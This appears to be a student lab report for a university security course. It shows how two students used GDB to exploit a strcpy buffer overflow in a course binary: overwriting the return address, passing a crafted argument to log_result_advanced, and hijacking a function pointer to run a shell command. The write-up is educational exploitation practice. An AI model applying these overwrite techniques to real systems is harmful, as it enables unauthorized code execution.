CS165 Project 2 Documentation

Team Members:
Arnel Soriano - asori047
Edwin Lopez - elope083

Part 1: The aim was to abuse the buffer overflow capability from strcpy to overwrite the return address. This causes log_result to execute and create the file "uid_[uid]_crack".

GDB Script:

```
#"log_result_exploit.gdb" is included in uploaded files
gdb -x log_result_exploit.gdb cs165-p2
```

Methodology and thought process:

```
#looking at dumpresult it shows that return value for test is 0x8048756
(address after calling test in main)
#set breakpoint at start of test to get address and intercept before
overflow
break test
run foo
#examine test and find buffer start for calculating offset
x /20x test
#buffer starts at memory location 0xffffc4c6
#Show stack frame to find return address and calculate distance from test,
helps determine the exact offset needed to overwrite the return address
(gdb) x /20x $ebp
0xffffc4e8:     0xffffc518      0x08048756      0xffffc792      0x0804a060
0xffffc4f8:     0x0001362f      0x08048715      0x00000002      0xffffc5b4
0xffffc508:     0xffffc5c0      0x0001362f      0xffffc530      0xf7fb6000
0xffffc518:     0x00000000      0xf7e2ef36      0x00000000      0x080484c0
0xffffc528:     0x00000000      0xf7e2ef36      0x00000002      0xffffc5b4

#return address is 4 bytes beyond 0xffffc4e8
#subtract ffffc4e8 - ffffc4c6 = 32 + 4 (to get to return address) = 38
#from dumpresult we know that the log_result located at 0x0804865e

#Modify the return address to redirect execution to log_result
(0x0804865e).
set test[38] = 0x5e
set test[38 + 1] = 0x86

#Observes the program's behavior step-by-step to ensure the return address
is effectively changed.
```

```
step
step
step
step
step
continue
#File is created
```

Part 2: The second exploit (log_result_advanced_exploit.gdb) aimed to invoke log_result_advanced(int) with a specific argument by modifying the stack (through argument manipulation) to pass the required value, thus executing log_result_advanced and creating the "uid_[uid]_crack_advanced" file.

GDB Script:

```
#"log_result_advanced_exploit.gdb" is included in uploaded files
gdb -x log_result_advanced_exploit.gdb cs165-p2
```

Methodology and thought process:

```
#intercept program before strcpy buffer overflow to abuse exploit
break test
#intercept program before log_result_advanced
break log_result_advanced
run foo
#log_result_advanced at 0x0804868d in dumpresult
#Change the return address to log_result_advanced address
set test[38] = 0x8d
set test[38 + 1] = 0x86
#we know that test buffer starts at 0xffffc4c6 from part 1
#0xffffc4ec + 0x8 = 0xffffc4f4 <- where int print is located
#0xffffc4f4 - 0xffffc4c6 = 46
#Modify the stack to include the required argument for print
set test[46] = 0xde
set test[46 + 1] = 0xad
set test[46 + 2] = 0xbe
set test[46 + 3] = 0xef
#print argument should now be valid and we continue execution
continue
continue
#File "uid_79407_crack_advanced" is created
```

Part 3: The third exploit (function_pointer_exploit.gdb) involved setting a function pointer within function_pointer_function to execute shell_function (Function Pointer Hijacking), in turn redirecting execution to perform the /bin/ls command in the shell terminal.

GDB Script:

```
#"function_pointer_exploit.gdb" is included in uploaded files
gdb -x function_pointer_exploit.gdb cs165-p2
```

Methodology and thought process:

```
#function_pointer_function is at 0x08048775 in dumpresult
#intercept test before strcpy buffer overflow
break test
#intercept before function_pointer_function
break function_pointer_function
break shell_function
run foo
#In test modify test return address to function_pointer_function
set test[38] = 0x75
#In test modify stack to shell function
set test[46] = 0x98
set test[46+1] = 0x87
set test[46+2] = 0x04
set test[46+3] = 0x08
#Observes the program's behavior step-by-step
step
step
step
step
step
step
step
step
step
step
step
#Program executes ls -la in terminal and output is produced successfully
```